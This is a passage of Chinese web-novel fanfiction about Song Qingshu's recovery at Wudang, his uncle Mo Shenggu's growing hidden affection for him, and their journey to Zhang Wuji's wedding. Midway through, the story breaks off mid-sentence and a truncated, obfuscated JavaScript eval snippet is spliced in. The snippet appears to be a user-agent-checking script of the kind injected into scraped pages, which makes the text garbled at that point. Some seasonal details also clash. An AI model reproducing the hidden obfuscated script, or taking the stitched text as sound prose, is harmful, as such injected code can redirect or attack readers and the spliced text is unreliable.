莫声谷回想片刻,道:“青书曾经得到了沈道友所赠的一册书,我也曾见过他一边看书,一边比划。莫非……” “那便是了。”张三丰叹道,“我没有想到,青书竟得了这般机缘,得到了失传已久的‘道印’传承。更没有想到,他为了救你,不惜动用攻击印诀。” 莫声谷只觉得心中一阵绞痛。他单膝跪地,低头道:“是弟子无能,连累青书至此。请师父责罚!” “起来。”张三丰抬手虚扶,“此事错不在你。成昆与陈友谅皆是当世高手,你以一敌二能护住青书周全,已是不易。只是……”他看向昏迷的宋青书,“青书此刻的状况,颇为棘手。” “师父,可有救治之法?”宋远桥急切问道。 张三丰沉吟片刻,道:“念力反噬,伤及神魂根本,非寻常医药可治。但青书体内残留的阴寒之力,或许是个突破口。” 他转向一直沉默站在一旁的张无忌:“无忌,你上前来。” 张无忌依言上前。张三丰让他也探了探宋青书的脉象,问道:“你可能感应到他体内那股阴寒之力的性质?” 张无忌闭目凝神,九阳神功自然运转,细细感应。片刻后,他睁开眼,惊讶道:“太师父,那股阴寒之力……似乎与青书师兄的念力纠缠在一起,你中有我,我中有你,难以分割。” “正是如此。”张三丰点头,“青书以念力催动道印,引动了某种天地间的阴性能量,这能量在击伤成昆的同时,也反噬己身,与他的念力相互纠缠,如藤缠树,难以分离。若要强行驱除,恐会伤及青书的神魂。” “那该如何是好?”殷梨亭急道。 张三丰看向张无忌:“唯一的办法,就是以至阳至纯的九阳神功,缓缓温养、疏导,如同春日暖阳融化寒冰,不急不躁,假以时日,或许能将那股阴寒之力化去,同时保住青书的念力根基。” “无忌愿为青书师兄疗伤!”张无忌毫不犹豫地说道。 张三丰欣慰地点头:“好孩子。不过此法耗日持久,且需每日定时运功,不能间断。你自身也有教中事务,怕是……” “太师父放心,明教事务有杨左使、韦蝠王等人主持,无忌可留在武当,直到青书师兄痊愈。”张无忌郑重道。 “既然如此,便劳烦无忌了。”宋远桥对着张无忌深深一揖,“青书若能痊愈,我宋远桥欠你一个大恩。” “大师伯言重了。”张无忌连忙还礼,“青书师兄是我的同门,救他是分内之事。” 张三丰又仔细交代了运功疗伤的要点:每日辰时、酉时各一次,每次一个时辰,以内力徐徐引导,不可操之过急。又开了几副安神固本的药方,命弟子去煎。 一切安排妥当,众人退出宁心堂,只留张无忌为宋青书第一次正式疗伤。 宁心堂门缓缓关闭。张无忌盘膝坐上榻,将宋青书扶起,双掌抵在其背心。九阳神功运转,暖流缓缓注入。 他按照张三丰所授之法,以内力如春雨润物般渗透宋青书的经脉,温和地包裹住那股阴寒之力,慢慢化解。 时间一点点过去,张无忌额头上渗出细密汗珠。但他神色专注,不为所动。他能感觉到,宋青书体内那股阴寒之力在九阳神功的温养下,确实在缓慢消融,只是速度极慢,非一日之功。 门外,张三丰透过门缝看着这一幕,眼中满是欣慰。这两个徒孙,一个曾是武当第三代最杰出的弟子;一个是五弟子翠山的遗孤,历经磨难终成明教教主。如今能这般友爱互助,实在是武当之幸。 “师父。”宋远桥低声开口,“青书的那个什么念力……以后还能用吗?” 张三丰沉默片刻,道:“若能完全化解反噬,保住根基,日后或许还能修行。但必须切记,绝不可再用以攻伐,否则下次反噬,便是大罗金仙也难救。” “弟子明白了。”宋远桥点头,心中暗下决心,待青书醒来,定要严加告诫。 莫声谷站在人群最后,目光始终未离开宁心堂的门。他听着里面隐约传来的内力流转之声,心中五味杂陈。 青书是为了救他才变成这样的。 这个念头如烙印般刻在他心上。每想一次,心就痛一分。 接下来的日子里,张无忌每日准时为宋青书疗伤。宋青书大部分时间都在昏睡,偶尔醒来,也是神智昏沉,说不了几句话便又睡去。 莫声谷主动承担起照料宋青书起居的职责。起初,宋远桥和师兄弟们只当他是因为内疚,想要补偿。莫声谷自己也这么认为。 可是渐渐地,事情似乎变了味。 那日,宋青书难得清醒了片刻,莫声谷端了温水来喂他。宋青书靠在他臂弯里,微微仰头喝水,喉结随着吞咽轻轻滑动。窗外阳光正好,透过窗棂洒在他苍白的脸上,睫毛在眼睑投下浅浅的阴影。 莫声谷看着,忽然心跳漏了一拍。他慌忙移开视线,却又不自觉地用余光去瞟。那纤细的脖颈,那微抿的唇,那因虚弱而略显脆弱的神情……竟让他觉得…… 觉得好看。 这个念头一起,莫声谷自己都吓了一跳。他猛地收回手臂,动作有些大,宋青书被晃了一下,轻咳起来。 “对、对不起。”莫声谷连忙又扶住他,轻轻拍他的背。手掌隔着薄薄的中衣,能感受到单薄脊背下骨节的形状。那触感让他指尖发烫,几乎要弹开,却又舍不得。 宋青书咳了一阵,缓过气来,抬眼看他,眼中带着疑惑:“七叔?” 那声音虚弱而沙哑,却仿佛带着某种魔力,钻进莫声谷耳朵里,直抵心尖。莫声谷只觉得浑身一僵,几乎要握不住手中的水碗。 “没、没事。”他强作镇定,“你躺好休息。” 他将宋青书轻轻放回榻上,盖好薄被。做这些时,他刻意避开与宋青书的眼神接触,动作也一板一眼,生怕泄露了心中那点说不清道不明的慌乱。 退出宁心堂后,莫声谷靠在走廊的柱子上,深吸了几口气。武当山秋日的空气清冽,却压不住他心中翻腾的燥热。 他这是怎么了? 青书是他的师侄,是他从小看着长大的孩子。虽然只比他小十来岁,但辈分有别,他一直将青书当作子侄辈看待。即使青书曾误入歧途,他也只是痛心疾首,恨铁不成钢。 可现在…… 莫声谷闭上眼,脑海中却不由自主地浮现出刚才那一幕:阳光下的侧脸,微动的喉结,虚弱的眼神……每一个细节都那么清晰。 “七弟?”俞莲舟的声音从身后传来。 莫声谷猛然睁眼,转身时已恢复平日的沉稳:“二哥。” 俞莲舟打量着他:“你脸色不太好,是不是这些日子照顾青书太累了?要不换其他人来照料,你也该好好休息休息。” “不必。”莫声谷几乎是脱口而出,随即意识到反应有些过激,缓了语气道,“青书是为我受伤,理应由我来照顾。我不累。” 俞莲舟看着他那坚定中带着一丝执拗的眼神,似乎明白了什么,又似乎什么都没明白。最终只是拍拍他的肩:“别太勉强自己。” 目送俞莲舟离开,莫声谷心中更加纷乱。连二哥都看出他的异常了吗? 他试图说服自己:这只是因为愧疚,因为责任。青书为他险些丧命,他自然要尽心照料,这是人之常情。 可内心深处,有个声音在冷笑:真的只是愧疚吗?那你为什么不敢直视他的眼睛?为什么每次碰触到他都会心跳加速?为什么他的一举一动,你都看得那么仔细? 接下来的日子里,莫声谷一面尽职尽责地照顾宋青书,一面与心中那日益滋生的异样情感苦苦挣扎。 他发现自己开始注意一些从前绝不会注意的细节: 宋青书睡梦中无意识蹙起的眉头; 喝药时因苦涩而微微抿紧的嘴角; 偶尔清醒时,看向窗外出神的侧影; 还有那日,一阵秋风从窗外卷入,吹动了宋青书散在枕边的几缕发丝,也吹起了他中衣的衣带。那衣带轻飘飘地扬起,又缓缓落下,搭在他瘦削的手腕上。莫声谷站在榻边,竟看得怔住了,只觉得那衣带落下的弧度,都说不出的…… 说不出的引人心旌摇动。 这个词一冒出来,莫声谷惊得后退半步,撞到了身后的椅子,发出刺耳的响声。 宋青书被惊醒,茫然地看向他:“七叔?” 莫声谷张了张嘴,却发不出声音。他看见宋青书因刚睡醒而泛着潮红的脸颊,看见他眼中未散的迷蒙水汽,看见他因动作而滑落肩头的中衣,露出半边锁骨…… “我、我去看看药煎好了没!”莫声仓皇转身,几乎是逃出了宁心堂。 门外秋风萧瑟,吹在他滚烫的脸上,却丝毫不能降温。莫声谷靠在墙上,双手捂脸,深深喘息。 完了。 他对自己说。 这不是愧疚,不是责任,不是长辈对晚辈的关爱。 这是…… 他不敢想下去。 可越是不敢想,那念头就越是如藤蔓般疯狂滋长,缠绕住他的心脏,勒得他几乎窒息。 他开始刻意与宋青书保持距离。喂药时不再扶他起来,而是用勺子直接喂;整理被褥时动作迅速,尽量避免碰触;对话时眼睛看着地面或窗外,绝不与他对视。 宋青书似乎察觉到了什么。有一次,他轻声问:“七叔,你是不是……讨厌我了?” 莫声谷猛地抬头,对上那双清澈中带着不安的眼睛,心中剧痛:“怎么会!我怎么会讨厌你!” “那你为什么……”宋青书垂下眼帘,声音更低,“都不愿看我。” 莫声谷哑口无言。他该怎么解释?难道要说,我不是不愿看你,是不敢看你?因为每多看你一眼,心中那不该有的情感就炽热一分? 最终,他只能涩声道:“你别多想,好好养伤。” 但这样的疏远,不仅宋青书察觉了,连每日来疗伤的张无忌也看了出来。 这日疗伤结束后,张无忌一边擦汗,一边状似无意地说:“七师叔,你最近是不是有心事?感觉你对青书师兄……有些不太一样。” 莫声谷心中一紧,面上却强作镇定:“哪里不一样?我只是怕打扰他休息。” 张无忌看着他,欲言又止,最终还是没说什么。但他离去的眼神,却让莫声谷如坐针毡。 是不是所有人都看出来了? 这个念头让莫声谷几近崩溃。他想起江湖上那些风言风语,想起那些关于“龙阳之好”“断袖之癖”的污言秽语。若被人知道他对自己师侄存了这样的心思…… 不,绝不可以。 那晚,莫声谷独自站在真武殿后的悬崖边,夜风吹得他衣袂猎猎作响。他望着山下云海翻腾,心中一片混乱。 从小,他便是武当七侠中最守礼、最持重的一个。师父教导他要正直,师兄们都是他的榜样。他一生恪守门规,行侠仗义,从未有过半分逾矩。 可现在,他却对青书…… “七弟。”宋远桥的声音从身后传来。 莫声谷浑身一僵,缓缓转身:“大哥。” 宋远桥走到他身边,与他并肩而立,望向云海:“青书的伤势,一日好过一日。张无忌的九阳神功确实有效,师父说,照这个速度,再有一个月,应该就能下床走动了。” “那就好。”莫声谷低声道。 宋远桥叹了口气:“这些日子,我看得出来。你照顾青书,辛苦了,大哥谢你护他。” “大哥说什么呢?照顾青书是我应该做的。” 莫声谷低下头,双手紧握成拳,指甲深深陷进掌心,疼痛让他保持着一丝清醒。 顺其自然? 莫声谷闭上眼,深深吸了一口气。 既然控制不住,那就……不控制了吧。 至少,在他还能控制行动的时候,让他多看几眼,多照顾几分。 至于未来会怎样,就交给未来吧。 莫声谷离开的那个下午,宋青书靠在床头,望着窗外飘落的黄叶,久久未动。 宁心堂里安静得能听见自己的心跳声。药碗放在床边的小几上,已经凉透了,宋青书没有去碰它,只是静静地坐着,任由寒意从四肢百骸慢慢渗透到心里。 七叔是不是讨厌他了? 这个认知如冰冷的细针,一针一针刺在心上,不深,却密密麻麻,疼得他几乎喘不过气来。 其实他本来就伤重未愈,日日躺在床上,什么也干不了,心思自然而然就敏感了一点。 宋青书扯了扯嘴角, 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宋青书闭上眼,身体微微颤抖起来。不是因为冷,而是某种从灵魂深处涌上的自我厌弃,如潮水般将他淹没。他觉得自己像一件破损的瓷器,即便勉强修补,裂痕依旧在,依旧丑陋,依旧不值得被珍视。 “师兄,该吃药了。”门外传来小道童的声音。 宋青书没有回应。 小道童等了一会儿,轻轻推门进来,见他呆呆坐着,药碗未动,不由担心:“师兄,药凉了,我去热一下。” “不必。”宋青书终于开口,声音沙哑得厉害,“放着吧,我一会儿喝。” 小道童犹豫着,最终还是退了出去。 宋青书缓缓伸手,端起那碗凉透的药。药汁苦涩的气味扑面而来,他却觉得这苦味正好,正好配他现在的心境。他仰头,将药一饮而尽。凉药入喉,一路冰到胃里,连带着整个身体都冷透了。 也许重生不过是异常美丽的幻梦。 现实就是,他是宋青书,是那个曾经背叛师门、害死师叔的宋青书。即便重活一世,有些烙印,是洗不掉的。 窗外天色渐渐暗了下来。秋日的黄昏来得早,不过申时三刻,屋内已需要点灯了。但宋青书没有唤人,只是任由黑暗一点点吞噬房间,吞噬自己。 在黑暗中,那些前世的记忆格外清晰。七叔倒在血泊中的画面,父亲失望的眼神,师父痛心的叹息……一幕幕,一桩桩,如走马灯般在眼前旋转,都凝成了最深刻的痛色。 不知过了多久,门外传来脚步声。很轻,很稳,是宋青书熟悉的步调。 他浑身一僵,几乎要缩进被子里,却又强迫自己坐着不动。门被轻轻推开。莫声谷端着托盘站在门口,托盘上放着热腾腾的粥和几碟小菜,还有一碗冒着热气的药。 屋内没有点灯,只有窗外残留的些许天光,勾勒出莫声谷挺拔的轮廓。他站在门口,似乎迟疑了一瞬,才迈步进来。 “怎么不点灯?”莫声谷的声音在黑暗中响起,低沉而温和。 宋青书没有说话。 莫声谷将托盘放在小几上,转身去找火折子。窸窸窣窣的声音在寂静中格外清晰。很快,烛台被点亮,暖黄的光芒驱散了黑暗,也照亮了宋青书苍白的面容。 莫声谷的目光落在他脸上,微微一凝:“你脸色怎么这么差?” 宋青书垂下眼帘,避开他的视线:“没事。” 莫声谷走到床边,很自然地伸手探了探他的额头:“不烫,但有些凉。”他的手很暖,掌心带着练剑磨出的薄茧,贴在宋青书冰凉的额头上,温度差异明显。 宋青书浑身一颤,几乎要躲开,却硬生生忍住了。 莫声谷似乎察觉到了他的僵硬,手顿了顿,却没有收回,而是顺势在他肩上轻轻一按:“躺下吧,你坐着太久了。” 这一按,宋青书才发现自己的肩膀早已僵硬酸痛。他顺从地躺下,眼睛盯着床顶的帐幔,不敢看莫声谷。 莫声谷在床边坐下,端起那碗热粥:“先吃点东西,再喝药。你中午就没怎么吃,晚上不能再空了。” 粥是小米粥,熬得软糯,散发着淡淡的清香。莫声谷舀起一勺,轻轻吹了吹,送到宋青书唇边。 宋青书怔住了。他以为……以为七叔不会再这样照顾他了。 “怎么?”莫声谷见他不动,温声道,“不想吃?” 宋青书摇摇头,张开嘴,含住那勺粥。莫声谷一勺一勺喂着,动作细致而耐心。两人都没有说话,只有勺子偶尔碰触碗壁的轻响,和烛火偶尔爆出的噼啪声。 一碗粥见了底。莫声谷放下碗,又端起药碗。药已经晾得温度适中,他同样细心地喂宋青书喝完。 整个过程,宋青书都像个木偶般,让张嘴就张嘴,让咽下就咽下。 药喝完后,莫声谷没有立刻离开,而是拿起一块干净的布巾,轻轻擦去宋青书嘴角的药渍。 “七叔。”宋青书忽然开口,声音低得几乎听不见。 “嗯?”莫声谷正在收拾碗筷,闻言抬起头。 宋青书鼓起勇气,抬眼看向他:“我的伤……是不是快好了?” 莫声谷的动作顿了顿:“张无忌说,再有半个月,应该就能下床走动了。” “那……”宋青书咬了咬下唇,“等我好了,七叔就不用再照顾我了,对吧?” 莫声谷的眉头微微蹙起:“为什么这么问?” “因为……”宋青书的声音更低了,“因为七叔讨厌我,不是吗?这些日子,你连看都不愿看我……” 话一出口,他就后悔了。这样直白地说出来,岂不是让彼此都难堪?他应该继续装糊涂,应该维持表面的平静,应该…… 可已经来不及了。莫声谷的脸色变了,那双总是沉稳的眼睛里,第一次露出了清晰的慌乱。 “我……”莫声谷张了张嘴,却不知该说什么。 否认吗?可他的确在刻意回避。承认吗?可他并非讨厌青书,而是…… 而是因为那不该有的情感,让他不敢靠近。 两人之间的空气仿佛凝固了。烛火不安地跳动,在墙上投下摇曳的影子。 良久,莫声谷缓缓放下手中的碗筷,在床边重新坐下。他没有看宋青书,而是盯着自己的手,声音低沉而艰涩:“青书,七叔没有讨厌你。” 宋青书愣住了。 “相反……”莫声谷的喉结动了动,“七叔……很在乎你。” 这话说得很轻,却如惊雷般在宋青书耳边炸响。他瞪大眼睛,几乎不敢相信自己听到的。 莫声谷终于抬起眼,看向他。烛光下,那双眼睛里翻涌着复杂而浓烈的情感,有挣扎,有痛苦,有无奈,还有……还有某种宋青书看不懂,却本能地感到心慌的东西。 “正因为在乎,所以才……”莫声谷的声音更低了,几乎像是在自言自语,“才不知该如何面对你。” 宋青书完全懵了。这是什么意思?七叔在乎他?所以疏远他?这逻辑他怎么也理不清。 “我不明白。”他诚实地说。 莫声谷苦笑一声,抬手揉了揉眉心:“你不明白最好。”他顿了顿,似乎下定了某种决心,重新看向宋青书,“青书,你只需要知道,七叔不会不管你。无论发生什么,七叔都会在你身边。” 这话说得郑重,仿佛誓言。 宋青书的心剧烈跳动起来。他不知道七叔为什么会说这些话,也不知道这些话背后隐藏着什么深意。但至少,七叔没有讨厌他。至少,七叔说会在乎他。 这就够了。对他而言,这就已经足够了。 “七叔……”宋青书的声音有些哽咽,“对不起。”隔了两世的道歉姗姗来迟。 莫声谷一怔:“为什么道歉?” 宋青书看着他,眼中水光浮动的是脆弱。 “七叔可以不问吗?” “好,青书说不问,七叔便不问。” 62. 此生一诺骨中叹 二月初,武当山的春意已浓。野花染红了山道,银杏碧绿。 宋青书站在紫霄宫前的石阶上,一身崭新的青布长衫,外罩月白春衫,头发用一根简单的木簪束起。他的脸色仍有些苍白,但眼神已恢复了清明,身形虽然单薄,却站得笔直如松。 “都收拾好了?”莫声谷从殿内走出,也是一身远行装束。他肩上挎着简单的行囊,腰间悬着佩剑,目光落在宋青书身上时,微微停顿了一瞬。 宋青书点头:“都妥当了。药也带足了,七叔放心。” 他的药箱又回来了,赵敏上次虽没有跟张无忌一起上武当山,但是把他的药箱还回来了。 距离张无忌离开武当已过去月余。那日疗伤结束,张无忌正式向武当诸侠辞行,并郑重邀请师叔伯们和宋青书前往濠州,参加他与周芷若的婚礼。 因念着宋青书脚力不及,而莫声谷也愿意作陪,所以他们两个一起先行。 而武当诸侠中,宋远桥、俞莲舟、殷梨亭随后,俞岱岩和张松溪留守武当,保护张三丰,以防成昆和陈友谅的偷袭。 这安排,明面上也是让宋青书外出散心,有助于恢复,从这一次受伤之后,这孩子总有点战战兢兢,师叔们对他的好,他像是没法承受似的。 宋远桥在私下里也对莫声谷说过:“七弟,路途遥远,麻烦你就多照应青书。那孩子总是心思重,你……多开导他。” 莫声谷明白大师兄的言外之意。自那夜说开之后,他与宋青书之间的相处,便陷入了一种微妙的平衡。他不再刻意回避,但也不敢过分亲近;宋青书则似乎将那夜的对话当作了某种钥匙,看他的眼神里,多了几分依赖。 “走吧。”莫声谷率先迈步,“早些出发,晌午能到山下镇子用饭。” 宋青书跟上,两人的脚步在青石板路上发出轻响。阳光透过稀疏的枝叶洒下斑驳的光影,山风拂过,带来松涛阵阵和隐隐的桂花香。 这一路,他们走得并不快。宋青书身体初愈,不宜长途奔波,莫声谷便刻意放缓了速度,每日只行四五十里,遇镇则歇,遇店则宿。 白天赶路时,两人大多沉默,只偶尔谈论沿途风物、武林轶事;夜晚投宿,莫声谷必定要亲眼看着宋青书服下调理气血的药丸,确认他安歇后才回自己房间。 这样的相处,平淡却安稳。宋青书渐渐放松下来,偶尔会指着路旁某处景致说“七叔你看”,或是在客栈用饭时,将莫声谷喜欢的菜往他那边推一推。这些小动作自然而不刻意,却让莫声谷心中那潭静水,漾开圈圈涟漪。 他也开始回应。行至险峻处,会自然而然地伸手扶宋青书一把;用饭时,会记得叮嘱小二少放辛辣;夜里起风,会起身去关宋青书房间的窗。 两人都在这份日常的关心里,找到了某种安心的距离——比寻常师叔侄亲近些,却又未逾矩。就像秋日里恰到好处的阳光,温暖而不灼人。 如此行了七八日,已出湖北境,进入均州。这日午后,他们正沿着一条官道前行,忽见前方路旁围着一群人,隐隐有哭声传来。 莫声谷眉头微皱,勒住马缰。宋青书也望过去,只见人群中央,一个白发苍苍的老农跪在地上,怀中抱着一个老妇,那老妇面色青灰,双目紧闭,已是出气多进气少。 “怎么回事?”莫声谷下马问道。 围观者中有人叹息:“这老两口是前面李家村的,老汉姓陈,今年都七十了。老婆子前几日染了风寒,本来以为挺挺就过去了,哪知今早突然就不行了。老汉背着想来镇上找大夫,可走到这儿,老婆子就……” 那老农听得此言,抱着老伴的手更紧了些,浑浊的眼泪顺着沟壑纵横的脸颊流下:“阿秀,阿秀你别睡……咱们就快到了,大夫一定能治好你……” 声音凄楚,闻者心酸。 宋青书也已下马,走到近前。他蹲下身,伸手搭上老妇的脉搏。手指触到的皮肤冰凉,脉搏微弱得几乎摸不到,再观其面色、眼睑,已是生机将绝之象。 “小兄弟,你是大夫吗?”老农像是抓住救命稻草,急切地看着宋青书,“求你救救阿秀,我们成亲五十年了,她不能丢下我一个人啊……” 五十年。 宋青书心中一颤。他抬眼看向这对老夫妇——陈老汉满脸风霜,手上布满老茧和老疤,是劳作了一生的痕迹;他怀中的陈阿秀瘦小干瘪,白发稀疏,此刻安安静静地闭着眼,仿佛只是睡着了。 五十年相守,从青丝到白发,从健步如飞到步履蹒跚。如今一个要先走,另一个便如失了半条命。 宋青书抿紧嘴唇。若是从前,他或许会想尽办法施救,即便不能起死回生,也要尽力一试。可如今……他感受着自己体内尚未完全恢复的念力,微弱如风中之烛。那日救七叔的反噬,让他的念力根基受损,至今只能勉强内视己身,根本无法外放施为。 而他药箱里根本没有什么可以用在此刻的丹药。即使有这样的丹药也是只能多活数月而已。 他的医术,治的是伤病,救不了天命。 “老伯,”宋青书的声音有些干涩,“尊夫人的病……已入膏肓,非药石可医。” 陈老汉的眼泪流得更凶了,他紧紧抱着老伴,喃喃道:“不会的,阿秀答应过我,要一起活到八十岁……我们还差十年呢,十年啊……” 周围有人叹息,有人摇头,有人悄悄抹泪。 莫声谷站在宋青书身后,看着他僵直的背影。他能感觉到宋青书的无力与愧疚——他总想着救人,可人力有时尽,天命不可违。 “老伯,”莫声谷上前一步,温声道,“尊夫人还有什么未了的心愿吗?或许我们可以帮忙。” 陈老汉抬起头,泪眼模糊地看着莫声谷,又看看怀中的老伴,忽然像是想起了什么:“阿秀……阿秀说,想再看一次我们当年成亲时的那片桃花林。可这个季节,哪还有桃花啊……” 桃花林? 宋青书心中一动。他抬眼四望,官道旁是一片杂树林,多是杨树、槐树,并无桃树。但再往远处看,约莫一里外有座小山坡,隐约可见几株树的轮廓。 “七叔,我去看看。”宋青书起身,朝那小山坡走去。 莫声谷没有阻拦,只对陈老汉道:“老伯稍等。” 宋青书走得很快,初愈的身体还有些虚,但他顾不上了。来到山坡下,他果然看见了几株桃树——并非成林,只是稀稀拉拉七八株,夹杂在其他树木之间。此时已是春天,但是此地桃花开得晚一些。虽然有些枝上有些小花苞稀稀拉拉,但是究竟未开。 宋青书站在桃树下,仰头望着那些枝丫。春寒料峭,带着些冷意的风穿过枝杈,发出呜呜的声响,像是在叹息。他忽然想起前世,自己也曾站在一片桃林中,那时桃花开得正盛,粉云如霞。 那时他不明白,为何有人愿意守着一个人,从青丝到白发,从春夏到秋冬。 现在好像有些懂了。 他闭上眼睛,调动体内那微弱的念力。这一次,他不是要疗伤,而是想试着……感受。 念力如细流般缓缓溢出,触及桃树的枝干、根系,触及脚下的泥土,触及空气中残留的、属于春天的记忆。他“看”到了这些桃树历经的岁月,看到了它们春日开花、夏日结果、秋日落叶、冬日休眠的轮回。 然后,他做了一个自己也不知道能否成功的尝试——将念力中那一点点温养生机的力量,注入桃树的脉络之中。 这不是要逆转季节,那超出了他的能力。他只是想要他们提前开花而已。他只是想,或许可以唤醒一点点、一点点沉睡的生机。 时间一点点过去。宋青书的额头上渗出细密的汗珠,脸色更加苍白。就在他几乎要支撑不住时,忽然,最近的一株桃树上,那花苞突然砰地炸开了。 接着是第二个,第三个。 不是花苞,是叶苞——有些桃树甚至冒出了更多的嫩芽! 宋青书睁开眼睛,看着那些嫩芽在秋风中微微颤抖,像是怯生生地探出头来的小生命。虽然微不足道,虽然可能会被凉风摧毁,但此刻,它们存在着。 他折下一根生了新花的细枝,转身往回走。 官道旁,陈老汉依然抱着老伴,周围的人还未散去。宋青书走到他面前,将那根桃枝递过去:“老伯,桃花开了,也有了新芽。你带着尊夫人去看看吧” 陈老汉颤抖着手接过桃枝,看着那点点粉红新绿,愣了半晌,忽然放声大哭:“阿秀,阿秀你看……桃树发芽了,开花了……就像我们成亲那年,你说要一起种桃树,看它一年年开花结果……” 怀中的陈阿秀,不知何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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围观的人群渐渐散去。莫声谷和宋青书帮着陈老汉,将陈阿秀的遗体送回李家村。村子很小,只有十几户人家,听说陈家婆婆去了,邻里都来帮忙。没有隆重仪式,只是简单净身、换衣,用家里存着的薄木打了口棺材。 陈老汉很平静,他握着老伴的手,轻声说:“阿秀怕冷,棺材里多铺点稻草。” 下葬那日,秋阳很好。坟就选在陈家屋后的小山坡上,那里能看见远处的官道,看见他们走了五十年的路。宋青书和莫声谷也去了,跟着村民一起,捧一把土,洒在棺木上。 封土立碑。碑是简陋的木牌,上面是陈老汉自己刻的字——“爱妻陈门李氏阿秀之墓”,旁边还有一行小字:“夫陈大根立,相约来世”。 没有生卒年月,没有华丽辞藻,只有最朴素的称谓,和最沉重的约定。 离开李家村时,已是第三日午后。陈老汉来送,他看起来苍老了许多,但眼神却有种奇异的平静。他将一个小布包塞给宋青书:“小兄弟,这是阿秀以前做的桃干,一直舍不得吃。你带着路上吃,甜的。” 宋青书接过,布包很轻,却压得他手心发沉。 “老伯保重。”莫声谷抱拳。 陈老汉点点头,转身慢慢走回村子。他的背影依然佝偻,但每一步都走得很稳,仿佛肩上扛着两个人的岁月,所以不能倒,也不能停。 官道上,宋青书和莫声谷重新上马,继续东行。秋风依旧萧瑟,路旁的树木大多已落叶,视野开阔了许多。 “七叔,”宋青书忽然开口,“你说,真会有来世吗?” 莫声谷沉默片刻,道:“道家讲轮回,佛家讲因果。有没有来世,我不知道。但我知道,珍惜今生,便是对来世最好的期许。” 珍惜今生。 宋青书握着药箱的手紧了紧。他侧头看向莫声谷,春阳为那张棱角分明的侧脸镀上了一层金边,从额头到下巴的线条,坚毅而清晰。 这一世,他还能珍惜什么呢?又能珍惜多久呢? “那七叔,”他轻声问,“你有什么想珍惜的吗?” 莫声谷转过头,目光与他对上。那一瞬间,宋青书仿佛看到那双总是沉稳的眼眸里,有什么东西翻涌了一下,又很快平息。 “有。”莫声谷回答得很简单,却郑重。 他没有说是什么,宋青书也没有问。两人都移开视线,望向远方。 63. 此生一诺骨中叹2 宋青书从怀中取出那个小布包,打开,里面是几片干瘪的桃干,颜色深褐,皱巴巴的,却散发着淡淡的甜香。他取了一片放入口中,慢慢咀嚼。 很甜,甜中带着微微的酸,是阳光和岁月共同酿造的味道。 他忽然想起陈阿秀最后那个笑容,想起陈老汉刻在木碑上的“相约来世”,想起七叔说的“珍惜今生”。 或许,生死之间,最重要的从来不是逆转,而是珍惜。珍惜相遇,珍惜相守,珍惜每一个还能看着对方、还能说着话的当下。 就像此刻,秋风里,他与七叔并肩而行,阳光温暖,前路可见。 宋青书将布包仔细收好,策马跟上莫声谷。两人的影子在官道上拉长,时而交错,时而分离,最终都融进了秋日午后的光里。 三月十五的濠州,春意正酣。 这座淮河畔的古城,因明教义军在此建立基业而显出了不同于往日的生机。街道整洁,商铺林立,往来行人脸上多带着安居乐业的从容。城中央新建的明教总坛气派恢弘,朱墙碧瓦在秋阳下熠熠生辉,门前广场上已搭起了喜庆的彩棚,红绸铺地,灯笼高悬,一派热闹景象。 莫声谷与宋青书抵达时,已是婚礼前一日。城门口早有明教弟子等候,见二人到来,恭敬引路前往总坛安排的住处——一处清净雅致的别院,与总坛仅一街之隔。 “莫七侠,宋少侠,教主吩咐,二位在此好生歇息。明日辰时,婚礼在总坛正厅举行,届时弟子再来相请。”引路的青年弟子言辞得体,举止有度。 莫声谷颔首:“有劳。” 待弟子退下,宋青书推开厢房门。屋内陈设简洁却不失雅致,窗明几净,桌上还摆着新鲜果品和一套茶具。窗外是个小庭院,几丛秋菊正开得灿烂。 “这一路奔波,你且歇着。”莫声谷的声音从身后传来,“晚些时候,大师兄他们应该也到了。” 宋青书转身,见莫声谷站在门口,阳光从他身后照进来,在青石地上投下一道修长的影子。这一路同行,两人之间的相处已形成某种默契的节奏,就像此刻,莫声谷会自然地叮嘱他休息,而他也会自然地应下。 “好。”宋青书点头。 张三丰年过百岁,虽功力通玄,但终究年事已高,长途跋涉确非易事。莫声谷和宋青书出发前,其他师叔再三劝太师父不必亲至,张三丰最终也只写了“佳儿佳妇”四个字,命宋远桥带来作为贺礼。 是啊,“佳儿佳妇”。简简单单四个字,却蕴含着长辈对晚辈婚姻最朴素的期许——愿你们是这世间相配的一对,愿你们彼此珍惜,白首不离。 宋青书想起前世,他与周芷若那场仓促而荒唐的婚礼。没有长辈祝福,没有亲友见证,只有算计与利用,最终酿成悲剧收场。而这一世,张无忌与周芷若的婚礼,却是万众瞩目,明教上下欢腾,江湖各派来贺。 这才是应有的模样。 傍晚时分,宋远桥、俞莲舟、殷梨亭果然到了。师兄弟几人别后重逢,自有一番叙话。宋远桥细细问了宋青书一路上的身体状况,又查看了他的脉象,这才放心。 “青书恢复得不错。”宋远桥对莫声谷道,“七弟,这一路辛苦你了。” 莫声谷摇头:“大哥言重了,是我该做的。” 殷梨亭在一旁笑道:“七弟这一路怕是比在山上还操心。青书,你可要好好谢谢你七叔。” 宋青书看向莫声谷,后者正低头喝茶,侧脸线条在暮色中显得格外清晰。他轻声道:“是,青书铭记在心。” 这话说得认真,莫声谷抬眼看他,他的目光短暂地抚摸了一下宋青书,又马上移开。 晚膳后,武当诸侠聚在一处,宋远桥取出张三丰亲笔所书的卷轴。徐徐展开,四个大字跃然纸上——佳儿佳妇。 字迹苍劲古朴,一笔一划间蕴含着难以言喻的道韵,仿佛不是写在纸上,而是刻在时光里。众人静默片刻,皆能感受到其中沉甸甸的分量。 “明日,我便将此礼亲手交给无忌。”宋远桥郑重卷好卷轴,“愿他与周姑娘,真能当得起这四字。” 夜深了,众人各自回房。宋青书躺在床上,却久久不能入眠。窗外月光如水,透过窗棂洒在地上,一片清辉。他想起明日那场婚礼,想起张无忌与周芷若,想起前世今生的种种,心中一片平静,却又隐约有某种说不清道不明的怅然。 不是嫉妒,不是不甘,更像是一种……尘埃落定后的空茫。 这一世,他终于可以站在旁观者的位置,见证他们的幸福。 他翻了个身,闭上眼睛。 不想了。该过去的,总要过去。 翌日,晨光熹微。 